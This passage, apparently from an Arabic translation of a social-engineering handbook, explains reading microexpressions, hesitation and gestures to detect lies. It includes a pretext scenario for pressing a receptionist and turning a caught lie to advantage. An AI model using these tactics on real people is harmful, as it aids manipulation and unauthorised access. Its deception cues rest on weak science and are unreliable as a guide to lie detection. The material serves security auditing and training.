‫ﻣﻛﺗب ﺗﻘول‪" ،‬أوه‪ ،‬اﻧﮫ ﻟﯾس ﺣﻘﺎ ھﻧﺎ؟ اﻧﺎ ﺳوف اﺗﻰ ﯾوم اﻵﺧر‪ ،‬واطﻠب ﻣﻧك ﺗﺣدﯾد اﻟﯾوم اﻟﻣﻧﺎﺳب ﺣﺗﻰ أﺗﻣﻛن ﻣن زﯾﺎرة‪ .‬ھل اﻧﺎ ﺧﻠطت‬
‫أﯾﺎﻣﻲ؟" إذا ﻛﻧت ﻗد ﻟﻌﺑت ﺑﺎﻷوراق اﻟﺻﺣﯾﺣﺔ واﻟﻌﺑﺎرات اﻟﺧﺎﺻﺔ ﺑك ﺑﻣﻧﮭﻰ اﻟذﻛﺎء‪ ،‬ﻓﺎن ھذا ﯾﻣﻛن أن ﯾﺗﺣول اﻟﻰ طرﯾﻘﺗﯾن‪:‬‬
‫‪ -‬إﻧﮭﺎ ﺗﻘﻌد ﺑﺛﺑﺎت وﺗﻘول ﻣرة أﺧرى‪" :‬ﻋذرا‪ ،‬اﻧﮫ ﻟﯾس ھﻧﺎ"‪.‬‬
‫‪ -‬أﻧﮭﺎ ﻗد ﺗﺗﻌﺎرض ﻣﻊ ﻧﻔﺳﮭﺎ )اﻟﺗﻲ ﯾﻣﻛن أن ﺗﻛون ﻓﻛرة أﻧﮭﺎ ﻻ ﺗﻛون ﺻﺎدﻗﮫ(‪" :‬اﺳﻣﺢ ﻟﻲ أن ﺗﺣﻘﻖ ﻣﺎ إذا ﻛﺎن ھو ھﻧﺎ أو ﻻ"‪.‬‬

‫اﻧﮫ ﻟﯾس ھﻧﺎ واﺳﻣﺢ ﻟﻲ أن ﺗﺣﻘﻖ ﻣﺎ إذا ﻛﺎن ھو ھﻧﺎ أو ﻻ ھذا اﻟﺗﻧﺎﻗض ھو ﻣﺎ ﯾﻛﻔﻲ ﻟﻺﺷﺎرة إﻟﻰ أﻧﮫ ﯾﺟب ﺣﻔر أﻛﺛر‪ .‬ﻣﺎذا ﯾﻛون ‪ ME‬ﻟﮭﺎ‬
‫ﻋﻧدﻣﺎ ﻓﻌﻠت ذﻟك؟ ھل أظﮭرت ﺑﻌض ﻣن اﻟﻌﺎر أو رﺑﻣﺎ ﺑﻌض اﻟﺣزن ﻓﻲ اﻟﻛذب؟ ﻛﺎﻧت ﻏﺎﺿﺑﺔ ﻋﻠﻰ اﻟوﻗوع ﻓﻲ اﻟﻛذب؟ أﺣرﺟت أﻧﮭﺎ ﻛﺎﻧت‬
‫ﺧﺎطﺋﺔ ورﺑﻣﺎ اﻟﺧﻠط؟ ﻻ ﯾﻣﻛﻧك ان ﺗﻔﺗرض ﺗﻠﻘﺎﺋﯾﺎ أﻧﮭﺎ ﺗﻛذب‪ ،‬ﻷﻧﮫ رﺑﻣﺎ اﻧﮭﺎ ﺣﻘﺎ ﻻ ﺗﻌرف‪ ،‬وﻋﻧد اﻟﺗﺣﻘﻖ ﻗررت أن وﺟدﺗﮫ ﺣﻘﺎ‪.‬‬
‫ﺑﻌد ان ﯾؤﻛد ﻣﺎ إذا ﻛﺎن ھو ﯾﻣﻛﻧك اﻻﺧﺗﯾﺎر ﻟﻠﺣﻔر أﻋﻣﻖ ﻗﻠﯾﻼ وﺗﺣﻘﯾﻖ اﻟﻣزﯾد ﻣن اﻟﺟﮭود ﻟﺗﺣدﯾد اﻟﺻدق إذا ﻟزم اﻷﻣر‪ .‬ﻣرة أﺧرى‪ ،‬ﻟﻌب‬
‫ﺑطﺎﻗﺔ "رﺑﻣﺎ اﺧﺗﻠط اﻷﻣر ﻓﻲ أﯾﺎﻣﻲ" وﻣﺷﺎھدة ﺗﻌﺎﺑﯾر اﻟوﺟﮫ ﻟﮭﺎ أن ﺗﻛون ﻣؤﺷرا ﺟﯾدا ﻟﮭﺎ ﺻدق أو ﻻ‪.‬‬

‫ﻓﻲ أول ﺟوﻟﺔ ﻟك رأﯾت أي ﻣن ﺗﻠﻣﯾﺣﺎت اﻟﻐﺿب‪ ،‬وﻣﻊ اﺳﺗﻣرار اﻻﺳﺗﻔﺳﺎر ﯾﻣﻛن أن ﯾﺳﺑب أن ﺗﻛون أﻛﺛر ﻏﺎﺿﺑﺎ وﺑﺎﻟﺣرج وإﻧﮭﺎء ﺗﻔﺎﻋﻠك‬
‫ﻣﻌﮫ‪ .‬ﻋﻧد ھذه اﻟﻧﻘطﺔ‪ ،‬ﻗد ﺗرﻏب ﻓﻲ طرح ﺷﻲء ﻣن ھذا اﻟﻘﺑﯾل "‪ ،‬إذا ﻛﺎن اﻟﺳﯾد ﺳﻣﯾث ﻟﯾس ھﻧﺎ ﻓﻲ اﻟوﻗت اﻟﺣﺎﻟﻲ ﻟﻘد اﺧﺗﻠطت أﯾﺎﻣﻲ‪ ،‬ﻣﺗﻰ‬
‫ﯾﻣﻛﻧﻧﻲ اﻟﺗوﻗف ﻟرؤﯾﺗﮫ؟ ﻣﺎ ھو اﻟوﻗت اﻷﻓﺿل؟"‬
‫ھذا اﻟﻧوع ﻣن اﻷﺳﺋﻠﺔ ﯾﺳﻣﺢ ﻟﮭﺎ ﻟﺣﻔظ ﻣﺎء اﻟوﺟﮫ‪ ،‬ﻛذﻟك ﯾﻣﻧﺣك ﻓرﺻﺔ أﺧرى ﻟﻘراءة ﺑﻌض ﺗﻌﺎﺑﯾر اﻟوﺟﮫ‪ .‬إذا ﻛﻧت ﻟم ﺗﻼﺣظ اﻟﻐﺿب وﻟﻛن‬
‫رﺑﻣﺎ رأﯾت أﻧﮭﺎ ﺑدت ﺣزﯾﻧﺔ ﻗﻠﯾﻼ أو ﺑﺎﻟﺣرج ﻓﺈﻧك ﻗد ﺗرﻏب ﻓﻲ اﻻﺳﺗﺟﺎﺑﺔ ﻣﻊ اﻟﺗﻌﺎطف واﻟﺗﻔﺎھم "‪ .‬ﻗم ﺑﻣﻼﺣظﺔ اﻟﺗﻧﺎﻗﺿﺎت اﻟطﻔﯾﻔﺔ ﻷﻧﮭﺎ‬
‫ﯾﻣﻛن أن ﺗﻛون ﻣؤﺷرات رﺋﯾﺳﯾﺔ ﻟﻠﺧداع وﺗﺳﺎﻋدك ﻋﻠﻰ اﻟﺣﺻول ﻋﻠﻰ ﻗدﻣك ﻓﻲ اﻟﺑﺎب‪.‬‬
‫اﻟﺘﺮدد )‪(Hesitation‬‬
‫ﻋﻠﻰ ﻏرار اﻟﺗﻧﺎﻗض‪ ،‬ﯾﻣﻛﻧك اﺳﺗﺧدام ﺗردد ﺷﺧص ﻣﺎ ﻟﻠﻛﺷف ﻋن اﻟﻛذب اﻟﻣﺣﺗﻣل‪ .‬إذا ﻛﻧت ﺗﺳﺄل ﺳؤال واﻟﺟواب ﯾﺟب أن ﯾﺄﺗﻲ ﺑﺳرﻋﺔ ﻣن‬
‫اﻟﺷﺧص‪ ،‬ﻟﻛﻧﮫ ﯾﺗردد ﻣﺳﺑﻘﺎ‪ ،‬ﻓﺈﻧﮫ ﯾﻣﻛن أن ﯾﻛون دﻟﯾﻼ ﻋﻠﻰ اﻧﮫ ﻛﺎن ﯾﺳﺗﺧدم اﻟوﻗت ﻻﻓﺗﻌﺎل اﻟﺟواب‪.‬‬
‫ﻋﻠﻰ ﺳﺑﯾل اﻟﻣﺛﺎل‪ ،‬ﻋﻧدﻣﺎ ﺗﺳﺄﻟﻧﻲ زوﺟﺗﻲ ﻛم ﻛﻠف أداﺗﻲ اﻹﻟﻛﺗروﻧﯾﺔ اﻟﺟدﯾدة‪ ،‬وھﻲ ﺗﻌﻠم أﻧﮭﺎ ﺗﻌرف اﻟﺟواب‪ .‬اﻟﺗردد ﯾﻣﻛن أن ﯾﻌﻧﻲ إﻣﺎ أﻧﺎ أﻗوم‬
‫ﺑﺎﻟﺗﻘﯾﯾم ﻣﺎ إذا ﻛﻧت ارﯾد اﻹﺟﺎﺑﺔ ﺑﺻدق أو ﻗد ﯾﻛون ﻣﺟرد ﺗذﻛر اﻟﺳﻌر‪.‬‬
‫ﻋﻧدﻣﺎ أﺣﺻل ﻋﻠﻰ ﺗﻘرﯾر ﻣرﺣﻠﻲ ﻣن ﻣدرﺳﺔ اﺑﻧﻲ اﻟذي ﯾﻘول اﻧﮫ ﻏﺎب ‪ X‬ﻋدد اﻷﯾﺎم ﻓﻲ اﻟﻣدرﺳﺔ وأﻧﺎ أﻋرف ﻓﻘط اﻧﮭم ﺣواﻟﻲ اﺛﻧﯾن أو ﺛﻼﺛﺔ‪،‬‬
‫ﻓﻘﻣت ﺑﺳﺎﺋﻠﮫ أﯾن ﺑﻘﯾﺔ ھذه اﻷﯾﺎم اﻟﺗﻲ ﻏﺑﺗﮭﺎ‪ .‬إذا ﻛﺎن ﺟواﺑﮫ‪" :‬أﺑﻲ‪ ،‬اﻻ ﺗذﻛر ﻟﻘد ﻛﻧت ﻋﻠﻰ ﻣوﻋد ﻣﻊ اﻟطﺑﯾب ﺛم دﻓﻌﺗﻧﻲ اﻟﻰ اﻟﻣﻧزل ذﻟك اﻟﯾوم‬
‫ﻟﻣﺳﺎﻋدﺗك ﻓﻲ ذﻟك اﻟﻣﺷروع؟" ﻋﻠﻰ اﻷرﺟﺢ ھذا ﻛﺎﻣل اﻟﺣﻘﯾﻘﺔ ﻷﻧﮫ ﻛﺎن ﺳرﯾﻊ وﻟدﯾﮫ اﻟﺣﻘﺎﺋﻖ ﻓﻲ اﻻﺳﺗﺟﺎﺑﺔ‪ .‬وﻣﻊ ذﻟك‪ ،‬إذا ﺗردد وﻗﺎل "واو‪ ،‬أﻧﺎ‬
‫ﻻ أﻋرف‪ ،‬رﺑﻣﺎ ﻛﺎن اﻟﺗﻘرﯾر اﻟﺧﺎطﺊ"‪ ،‬ﺛم ﻣﻼﺣظﺔ ‪ microexpressions‬ﻟﮫ ﺧﻼل رده ھو ﻓﻛرة ﺟﯾدة‪ .‬ھل ﺗﺷﯾر إﻟﻰ اﻟﻐﺿب‪ ،‬ورﺑﻣﺎ‬
‫اﻟﺧوف ﻣن اﻹﻣﺳﺎك ﺑﮫ‪ ،‬أو اﻟﺣزن ﻧﺗﯾﺟﺔ ﺗﺻور اﻟﻌﻘﺎب؟ ﻓﻲ ﻛﻠﺗﺎ اﻟﺣﺎﻟﺗﯾن‪ ،‬ﻓﻘد ﺣﺎن اﻟوﻗت ﺑﺎﻟﻧﺳﺑﺔ ﻟﻲ ﻟﺗﺣﻘﯾﻖ اﻟﻣزﯾد وﻣﻌرﻓﺔ أﯾن ﻛﺎن ﺗﻠك‬
‫اﻷﯾﺎم‪ .‬ﺷﻲء آﺧر ﯾﺟب اﻟﺑﺣث ﻋﻧﮫ ھو اﻟﻣﻌرﻓﺔ اﻟﺟﯾدة ﻟﺗﻛﺗﯾك اﻟﺗردد ﻣن ﺗﻛرار اﻟﺳؤال ﻣرة أﺧرى ﻟك ﻛﻣﺎ ﻟو طﻠﺑت اﻟﺗﺣﻘﻖ ﻣن أن اﻟﺳؤال‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪849‬‬

‫ﺻﺣﯾﺢ‪ .‬اﻟﻘﯾﺎم ﺑذﻟك ﯾﺳﻣﺢ اﻟوﻗت ﻻﻓﺗﻌﺎل اﺳﺗﺟﺎﺑﺔ‪ .‬اﺳﺗﺧدام اﻟﺗردد ﻟﻠﻛﺷف ﻋن اﻟﺧداع ﻟﯾس ﻋﻠﻣﺎ دﻗﯾﻘﺎ‪ ،‬وﻟﻛن ﯾﻣﻛن أن ﯾﻛون ﻣؤﺷرا ﺟﯾدا‪.‬‬
‫ﺑﻌض اﻟﻧﺎس ﯾﻘوﻣون ﺑﺎﻟﺗﻔﻛﯾر ﻗﺑل اﻟﻛﻼم‪ .‬أﻧﺎ ﻣن ﻧﯾوﯾورك‪ ،‬ﻟذﻟك أﻧﺎ أﺗﻛﻠم ﺑﺳرﻋﺔ‪ .‬إذا ﻛﺎن ﺷﺧص ﻣﺎ ﯾﺗﺣدث أﺑطﺄ ﻣﻧﻰ ﻓﺄﻧﮭﺎ ﻟﯾﺳت ﻣؤﺷرا‬
‫ﻋﻠﻰ اﻟﺧداع‪ .‬ﯾﺟب أن ﺗﻛون ﻗﺎدرا ﻋﻠﻰ اﺳﺗﺧدام ‪ ME‬ﻟﺗﺣدﯾد ﻣﺎ إذا ﻛﺎن ﺷﺧص ﺑطﻲء ﻓﻘط ﻓﻲ اﻟﻛﻼم أو ﻣﺣﺎوﻟﺔ اﻓﺗﻌﺎل اﺳﺗﺟﺎﺑﺔ‪.‬‬
‫اﻟﺘﻐﯿﺮات ﻓﻲ اﻟﺴﻠﻮك )‪(Changes in behavior‬‬
‫ﺧﻼل اﻟﻣﻧﺎﻗﺷﺔ ﻓﺎن اﻟﮭدف ﻗد ﯾﻐﯾر ﺳﻠوﻛﮫ ﻓﻲ ﻛل ﻣرة ﯾﺗم ﺟﻠب ﻣوﺿوع ﻣﻌﯾن‪ .‬رﺑﻣﺎ ﻻﺣظت ﺗﻐﯾﯾر ﻓﻲ اﻟﺗﻌﺑﯾر أو ﺗﺣوﻻ ﻓﻲ اﻟطرﯾﻘﺔ اﻟﺗﻲ‬
‫ﯾﺟﻠس‪ ،‬أو ﺗردد ﻣﻠﺣوظ‪ .‬ﻛل ھذه اﻹﺟراءات ﯾﻣﻛن أن ﺗﺷﯾر إﻟﻰ اﻟﺧداع‪ .‬ﻣﺎ إذا ﻛﺎﻧت ھذه اﻹﺟراءات ﺗﺻل إﻟﻰ اﻟﺧداع ﻟﯾس ﻣن اﻟﻣؤﻛد‪ ،‬وﻟﻛن‬
‫ﯾﻧﺑﻐﻲ أن ﯾﺳﺑب ﻟك ﻟﻠﺗﺣﻘﯾﻖ أﻛﺛر ﻋﻠﻰ اﻟﻣوﺿوﻋﺎت اﻟﺗﻲ ﺗﻣت ﻣﻧﺎﻗﺷﺗﮭﺎ ﻓﻲ ھذه اﻟطرﯾﻘﺔ واﻟﺗﻲ ﻻ ﺗﺛﯾر اﺷﺗﺑﺎه‪ .‬ﯾﻣﻛن ﻟﮭذه اﻟﺳﻠوﻛﯾﺎت ﺗﻛون‬
‫ﻋﻼﻣﺎت ﻋﻠﻰ أن اﻟﺷﺧص ﯾﺳﺗﺧدم ﺗﺄﺧﯾر اﻟوﻗت ﻟﺗوﻟﯾد ﻗﺻﺔ‪ ،‬ﺗذﻛر اﻟﺣﻘﺎﺋﻖ‪ ،‬أو أن ﯾﻘرر ﻣﺎ إذا ﻛﺎن ﯾرﯾد أن ﯾﻛﺷف ﺗﻠك اﻟﺣﻘﺎﺋﻖ‪.‬‬
‫ﺣرﻛﺎت اﻟﯾد )‪(Hand gestures‬‬
‫اﻟﻧﺎس ﻏﺎﻟﺑﺎ ﻣﺎ ﯾرﺳﻣون اﻟﺻورة ﺑﺄﯾدﯾﮭم ﺑﺎﺳﺗﺧدام اﻹﯾﻣﺎءات‪ .‬ﻋﻠﻰ ﺳﺑﯾل اﻟﻣﺛﺎل‪ ،‬ﻗد ﯾﺳﺗﺧدم اﻟﺷﺧص ﯾدﯾﮫ ﻹظﮭﺎر ﻛﯾف ﯾﻛون اﻟﺷﻲء ﻛﺑﯾرا‪،‬‬
‫ﻛﯾف اﻟﺷﻲء ﯾذھب ﺑﺳرﻋﺔ‪ ،‬أو ﻹظﮭﺎر ﻛم ﻣرة ﻗﯾل اﻟﺷﻲء‪ .‬اﻟﻌدﯾد ﻣن اﻟﻣﮭﻧﯾﯾن ﯾﺷﻌرون ﻛﯾف ﯾﻛون اﻟﺷﺧص ﻏﯾر ﺻﺎدق ﺣﯾث اﻧﮫ ﯾﻘوم ﺑﻠﻣس‬
‫أو ﻓرك وﺟﮭﮫ ﻓﻲ ﻛﺛﯾر ﻣن اﻷﺣﯾﺎن‪ .‬ﺑﻌض اﻻﺗﺻﺎل اﻟﻧﻔﺳﻲ ﯾظﮭر ﺑﯾن ﻓرك اﻟوﺟﮫ وﺗوﻟﯾد اﻟﺗﻠﻔﯾﻖ‪ .‬ﻧﻧﺎﻗش ﺑﻌض اﻻﺷﺎرات اﻟﺗﻲ ﯾﺳﺗﺧدﻣﮭﺎ‬
‫ﻋﻠﻣﺎء اﻟﻧﻔس وﺧﺑراء ﻟﻐﺔ اﻟﺟﺳد ﻟﻠﻛﺷف ﻋن اﻟﺧداع ھﻧﺎ‬
‫‪http://www.examiner.com/article/detecting-deception-using-body-language-and-verbal-cues-to-detect-lies‬‬
‫أﺧذ ﻣﻼﺣظﺎت ﻋﻠﻰ اﻟﺗﻐﯾﯾر ﻓﻲ اﻟﺣﺟم‪ ،‬اﻟﺗواﺗر‪ ،‬أو ﻣدة إﯾﻣﺎءات اﻟﯾد أﺛﻧﺎء اﻟﻣﺣﺎدﺛﺔ اﻟﻣﮭم‪ .‬ﺑﺎﻹﺿﺎﻓﺔ إﻟﻰ ذﻟك‪ ،‬ﯾﺟب ﻋﻠﯾك ﻣﺷﺎھدة ﺗﻌﺎﺑﯾر اﻟوﺟﮫ‬
‫ﺧﻼل اﻹﯾﻣﺎءات اﻟﺗﻲ ﺗﻣﻛن رﻓﻊ اﻟﻌﻠم ﻓﻲ ﻋﻘﻠك‪.‬‬
‫ﻋﻧد اﻛﺗﺷﺎف اﻟﺧداع‪ ،‬ﻣن اﻟﻣﮭم اﻣﺗﻼك ﺧطﺔ ﻟﻛﯾﻔﯾﺔ اﻟرد ﺣﯾث ﺗﻌﺗﺑر ﻓﻛرة ﺟﯾدة‪ .‬ﻋﻧد اﻟﻧظر اﻟﻰ اﻟﺳﯾﻧﺎرﯾو اﻟﺳﺎﺑﻖ ﻣﻊ اﻟﺷﺧص اﻟﻣوﺟود ﻓﻲ‬
‫اﻟﻣﻛﺗب اﻟﺟﺑﮭﺔ ﻋﻧدﻣﺎ ﻗﺎﻟت " ان رﺋﯾﺳﮭﺎ ﺧﺎرج اﻟﻣﻛﺗب"‪ ،‬اظﮭﺎر ﺑﺎﻧﮭﺎ ﺗﻛذب ﻋﻠﻰ اﻷرﺟﺢ ﺳوف ﯾﺛﯾر ﻛل أﻧواع اﻷﻋﻼم اﻟﺣﻣراء‪ ،‬إﺣراج ﻟﮭﺎ‪،‬‬
‫وﺗدﻣﯾر أي ﻓرص ﻟﻠﻧﺟﺎح‪ .‬إذا ﻛﺎﻧت اﻟذرﯾﻌﺔ اﻟﺧﺎص ﺑك ھو ﺷﺧص ﻣﻊ اﻟﺳﻠطﺔ‪ ،‬ﻣﺛل ﻣدﯾر أو ﻣﺷرف اﻟﻘﺳم‪ ،‬واﺻطدت ﺷﺧص ﯾﻛذب ﻓﺎﻧﮫ‬
‫ﯾﻣﻛﻧك اﺳﺗﺧدام ذﻟك ﻟﺻﺎﻟﺣك‪ .‬ﺑواﺳطﺔ "اﻟﺗﺳﺎﻣﺢ" ﻣﻊ اﻟﺷﺧص ﻓﺎﻧت ﺳوف ﺗﺳﺗﺧدﻣﮫ ﻟﺻﺎﻟﺣك‪ .‬وﻟﻛن ﻓﻲ ﻧﻔس اﻟﺳﯾﻧﺎرﯾو‪ ،‬إذا ﻛﻧت ﻓﻲ ﻣوﻗف‬
‫أﻗل )ﺷﺧص ﻣﺎ ﻓﻲ ﻣوﻗف ﻏﯾر إدارة ﻣﺛل ﺳﻛرﺗﯾر‪ ،‬ﻣوظف اﺳﺗﻘﺑﺎل‪ ،‬أو ﻣﻧدوب ﻣﺑﯾﻌﺎت( ﻣﻊ اﻟﮭدف‪ ،‬ﻓﺎن اﻟﻠﻌب ﺑﮭذه اﻟورﻗﺔ ﻗد ﺗﻛون ﺧطرة‪.‬‬
‫ﻓﺈن إﺟراء ﺳﻠطﺔ ﻻ ﯾﺻﻠﺢ ﻣﻊ ذرﯾﻌﺔ ﺷﺧص ﻓﻲ ﻣوﻗف ﻏﯾر إداري‪.‬‬
‫ﻣﺎ ﯾﺗﻠﺧص ﺑﺑﺳﺎطﺔ ھو أن ﻛﻣﮭﻧدس اﺟﺗﻣﺎﻋﻲ ﯾﺟب أن ﺗﺗﻌﻠم اﺳﺗﺧدام ‪ microexpressions‬ﻟﻠﺷﺧص ﻟﺗﺣدﯾد ﻣﺎ إذا ﻛﺎن ﺗم ﺗﻘدﯾم اﻟﺣﻘﯾﻘﺔ أو‬
‫ﻛذب وإﻟﻰ ﺗﺣدﯾد ﻣﺎ إذا ﻛﻧت ﺗؤﺛر ﻋﻠﻰ اﻟﮭدف ﺑﺎﻟطرﯾﻘﺔ اﻟﺗﻲ ﺗرﯾدھﺎ‪ .‬ﻓﻲ ﺑﻌض اﻟﺣﺎﻻت ﯾﻣﻛﻧك ﺣﺗﻰ اﺳﺗﺧدام ﺑﻌض اﻟﺗﻌﺑﯾرات ﻟﻣﻌﺎﻟﺟﺔ اﻟﮭدف‬
‫إﻟﻰ ﻟﺣﺎﻟﮫ ﻣﻌﯾﻧﺔ ﻣن اﻟﻌﻘل‪.‬‬
‫ﺗذﻛر‪ microexpressions ،‬ﻟوﺣدھﺎ ﻟﯾﺳت ﻛﺎﻓﯾﺔ ﻟﺗﺣدﯾد ﺳﺑب اﻟﻣﺷﺎﻋر اﻟﺗﻲ ﺗﺣدث‪ .‬ﺗﺣدﯾد أن اﻟﺷﺧص ﻏﺎﺿﺑﺎ أو ﺣزﯾﻧﺎ‪ ،‬ﻋﻠﻰ ﺳﺑﯾل اﻟﻣﺛﺎل‪،‬‬
‫ﻓﺎﻧﮫ ﻻ ﯾﻘول ﻟك ﻟﻣﺎذا ھذا اﻟﺷﺧص ھو ﻏﺎﺿب أو ﺣزﯾن‪ .‬ﻛن ﺣذرا ﻋﻧد اﺳﺗﺧدام ‪ microexpressions‬ﻟﺗﺄﺧذ ﻓﻲ اﻻﻋﺗﺑﺎر ﺟﻣﯾﻊ اﻟﻌواﻣل‬
‫ﻟﺗﺣدﯾد‪ ،‬ﺑﺄﻛﺑر ﻗدر ﻣﻣﻛن‪ ،‬اﻟﺳﺑب ﻓﻲ اﻟﻌﺎطﻔﺔ‪.‬‬
‫اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ اﻟﺧﺑﯾث ﯾﺳﺗﺧدم ھذه اﻟﺗﻛﺗﯾﻛﺎت ﻣن ‪ microexpressions‬اﻟﺗﻲ ﺗم ﻣﻧﺎﻗﺷﺗﮭﺎ ﻓﻲ ھذا اﻟﻘﺳم وﻟﻛن أھداﻓﮭم ﻣﺧﺗﻠﻔﺔ ﺗﻣﺎﻣﺎ ﻋن‬
‫ﺗﻠك اﻟﺗﻲ ﯾﺳﺗﺧدﻣﮭﺎ اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﻟﻠﻘﯾﺎم ﺑﺎﻟﺗدﻗﯾﻖ‪ .‬إﻧﮭم ﻏﺎﻟﺑﺎ ﻻ ﯾﮭﺗﻣون ﺑﺎﻷﺛر اﻟﻣﺗﺑﻘﻲ ﻋﻠﻰ اﻟﮭدف‪ .‬إذا ﺣدث ﺿرر ﺑﻧظﺎم اﻋﺗﻘﺎد‬
‫اﻟﺷﺧص‪ ،‬اﻻﺳﺗﻘرار اﻟﻧﻔﺳﻲ‪ ،‬أو ﺣﺗﻰ اﻻﺳﺗﻘرار اﻟوظﯾﻔﻲ واﻟﺗﻲ ﯾﻣﻛن أن ﯾؤدي اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ اﻟﺧﺑﯾث إﻟﻰ ھدﻓﮫ ﻓﺎﻧﮫ ﺳﯾﺄﺧذ ھذا اﻟطرﯾﻖ‪.‬‬
‫ﻓﻲ ھذا اﻟﻛﺗﺎب ﺗﻘرأ ﻋن ﺑﻌض اﻟﺣﯾل اﻟﺗﻲ ظﮭرت ﺧﻼل اﻟﮭﺟﻣﺎت ﻓﻲ ﻣدﯾﻧﺔ ﻧﯾوﯾورك ﺑﻌد ‪ 11/9‬ﻓﻲ وﻗت ﺳﺎﺑﻖ‪ .‬اﻟﻧﺎس اﻟذﯾن رأوا ﻓرﺻﺔ‬
‫ﻟﻼﺳﺗﻔﺎدة ﻣن ﺗﻌﺎطف اﻟﻧﺎس واﻟﻣﺄﺳﺎة اﻟﺗﻲ وﻗﻌت ﻓﺎﻧﮫ ﻻ ﯾﺑدو أﻧﮭم ﯾﮭﺗﻣون ﺑﺎن أﻓﻌﺎﻟﮭم ﺳوف ﺗﺿر اﻵﺧرﯾن‪ .‬ﺟﺎء ﻛﺛﯾرون ﻣن اﻟظﻼل ﯾدﻋون‬
‫أن ﻟﮭم أﺳرة ﺳﻘطوا ﻓﻲ ﺗﻠك اﻟﮭﺟﻣﺎت‪ .‬ﺗﻠﻘﻰ ﺑﻌض ﻣن ھؤﻻء اﻟﻧﺎس اﻟﺧﺑﯾﺛﺔ اﻟﻣﺎل واﻟﮭداﯾﺎ‪ ،‬واﻟﺗﻌﺎطف‪ ،‬وﺣﺗﻰ اھﺗﻣﺎم وﺳﺎﺋل اﻻﻋﻼم‪.‬‬
‫اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ اﻟﺧﺑﯾث ﯾﻧﻔﻖ اﻟﻛﺛﯾر ﻣن اﻟوﻗت ﻟﻠﺗﻌﻠم ﻋن اﻟﻧﺎس وﻣﺎ ﯾﺟﻌل ﻣﻧﮭﺎ ﻋﻼﻣﺔ‪ .‬ھذه اﻟﻣﻌرﻓﺔ ﺗﺟﻌل ﺗﺣدﯾد ﻣوﻗﻊ اﻟﮭدف اﻟﻣﻘﺑول‬
‫ﻟﻣﮭﺎﺟﻣﺗﮫ أﺳﮭل‪.‬‬
‫ھذا اﻟﻘﺳم ﻓﻘط ﺧدش ﺳطﺢ ‪ .microexpressions‬ﻟﻘد ﻣﻸ ﻋﻣل اﻟﻌدﯾد ﻣن اﻟﻣﮭﻧﯾﯾن ﻓﻲ ھذا اﻟﻣﺟﺎل اﻟﻌدﯾد ﻣن اﻟﻛﺗب‪ .‬اﻟﺑﺣث ﻋن اﻟﺗدرﯾب‬
‫وإﺗﻘﺎن اﻟﻘراءة واﺳﺗﺧدام ‪ ،microexpressions‬ﻓﺳوف ﻧرى زﯾﺎدة ﻓﻲ ﻗدرات اﻻﺗﺻﺎل اﻟﺧﺎﺻﺔ ﺑك ﻣﻊ اﻵﺧرﯾن‪ .‬وﺑﺎﻹﺿﺎﻓﺔ إﻟﻰ ذﻟك‪ ،‬ﻓﺈن‬
‫ھذه اﻟﻛﻔﺎءة ﺗﻌزز ﻣن ﻗدرات اﻟﻧﺟﺎح ﻓﻲ ﻋﻣﻠﯾﺎت اﻟﺗدﻗﯾﻖ اﻟﺧﺎﺻﺔ ﺑك‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪850‬‬

‫)‪Neurolinguistic Programming (NLP‬‬

‫اﻟﺑرﻣﺟﺔ اﻟﻠﻐوﯾﺔ اﻟﻌﺻﺑﯾﺔ )‪ (NLP‬ﺗدرس ھﯾﻛل ﻛﯾف ﯾﻔﻛر اﻟﺑﺷر وﺗﺟﺎرﺑﮫ ﻓﻲ اﻟﻌﺎﻟم‪ .‬أﻧﮫ ﻣﺛﯾر ﻟﻠﺟدل ﻓﻲ ﺣد ذاﺗﮫ ﻷن ھﯾﻛل اﻟﺑرﻣﺟﺔ اﻟﻠﻐوﯾﺔ‬
‫اﻟﻌﺻﺑﯾﺔ ﻻ ﺗﺳﻠم ﻧﻔﺳﮭﺎ اﻟﻰ اﻟﺻﯾﻎ اﻟدﻗﯾﻘﺔ واﻟﺻﯾﻎ اﻹﺣﺻﺎﺋﯾﺔ‪ .‬اﻟﻌدﯾد ﻣن اﻟﻌﻠﻣﺎء ﻗﺎﻣوا ﺑﻣﻧﺎﻗﺷﺔ ﻣﺑﺎدئ اﻟﺑرﻣﺟﺔ اﻟﻠﻐوﯾﺔ اﻟﻌﺻﺑﯾﺔ ﻧﺗﯾﺟﺔ ﻟﮭذا‬
‫اﻟواﻗﻊ‪ ،‬وﻟﻛن اﻟﮭﯾﻛل ﻻ ﯾؤدي إﻟﻰ ﻧﻣﺎذج ﻟﻛﯾﻔﯾﺔ ﻋﻣل ھذه اﻟﻣﺑﺎدئ‪ .‬ﻣن ھذه اﻟﻧﻣﺎذج‪ ،‬ﻗد ﺗم ﺗطوﯾر ﺗﻘﻧﯾﺎت اﻷﻓﻛﺎر اﻟﻣﺗﻐﯾرة ﺑﺳرﻋﺔ وﻓﻌﺎﻟﯾﺔ‪،‬‬
‫واﻟﺳﻠوﻛﯾﺎت‪ ،‬واﻟﻣﻌﺗﻘدات اﻟﺗﻲ ﺗﺣد ﻣن اﻟﻧﺎس‪.‬‬

‫ﻛﻣﺎ ﺟﺎء ﻓﻲ وﯾﻛﯾﺑﯾدﯾﺎ‪ ،‬اﻟﺑرﻣﺟﺔ اﻟﻠﻐوﯾﺔ اﻟﻌﺻﺑﯾﺔ )‪ (NLP‬ھﻲ ﻣﺟﻣوﻋﺔ ﻣن اﻟطرق واﻷﺳﺎﻟﯾب اﻟﻐﯾر ﻣﺛﺑﺗﺔ ﻋﻠﻣﯾًﺎ ﺗﻌﺗﻣد ﻋﻠﻰ ﻣﺑﺎدئ ﻧﻔﺳﯾﺔ‬
